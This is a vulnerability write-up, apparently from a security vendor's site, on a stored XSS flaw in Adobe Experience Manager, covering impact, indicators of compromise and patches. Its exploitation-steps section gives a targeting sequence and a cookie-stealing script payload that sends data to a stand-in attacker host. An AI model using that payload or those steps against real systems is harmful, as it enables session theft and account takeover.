CVE-2025-64577
Adobe Experience Manager vulnerability analysis and mitigation

Overview

CVE-2025-64577 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises), AEM 6.5 LTS, and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, network-accessible attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in a victim's browser when they navigate to the page containing the affected field. Exploitation requires user interaction (a victim browsing the compromised page) and low privileges on the AEM instance, with a changed scope indicating the impact crosses the security boundary into the victim's browser context (Adobe Advisory, Feedly).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. The changed scope means the impact extends beyond the AEM application itself to any user browsing the affected pages (Adobe Advisory).

Exploitation steps

  1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
  2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a contributor or author role).
  3. Locate vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., content authoring forms, comment fields, or custom components).
  4. Inject XSS payload: Submit a crafted stored XSS payload into the vulnerable field, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent obfuscated variant.
  5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an AEM administrator or editor) to browse the page containing the injected payload, causing the malicious script to execute in their browser.
  6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server, then use them for session hijacking or further unauthorized actions (Adobe Advisory).

Indicators of compromise

  • Logs: AEM access logs showing POST requests to content authoring endpoints containing script tags or encoded JavaScript payloads (e.g., %3Cscript%3E, javascript:, onerror=) from low-privileged user accounts.
  • Logs: AEM error or audit logs recording unexpected content modifications or script injection attempts in form fields.
  • Network: Outbound HTTP/S requests from victim browsers to unknown external domains shortly after accessing AEM-authored pages, potentially carrying cookie or session data as query parameters.
  • File System / Content Repository: Presence of <script> tags or JavaScript event handlers (e.g., onload, onerror, onclick) stored within AEM JCR content nodes or page properties that were not authored by legitimate editors.

Mitigation and workarounds

Adobe has released patches addressing CVE-2025-64577 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Organizations should upgrade to these versions immediately. As a temporary measure, restricting authoring access to trusted users and implementing a Web Application Firewall (WAF) with XSS filtering rules can reduce exposure until patching is complete (Adobe Advisory).

Community reactions

The Center for Internet Security (CIS) issued an advisory noting that multiple vulnerabilities in Adobe products, including this one, could allow for arbitrary code execution and other impacts, recommending prompt patching (CIS Advisory). No notable individual researcher commentary or significant social media discussion specific to CVE-2025-64577 has been identified beyond standard patch-Tuesday coverage.

Additional resources


SourceThis report was generated using AI

Related Adobe Experience Manager vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-48359CRITICAL9.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48310HIGH8.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48355MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48263MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48262MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management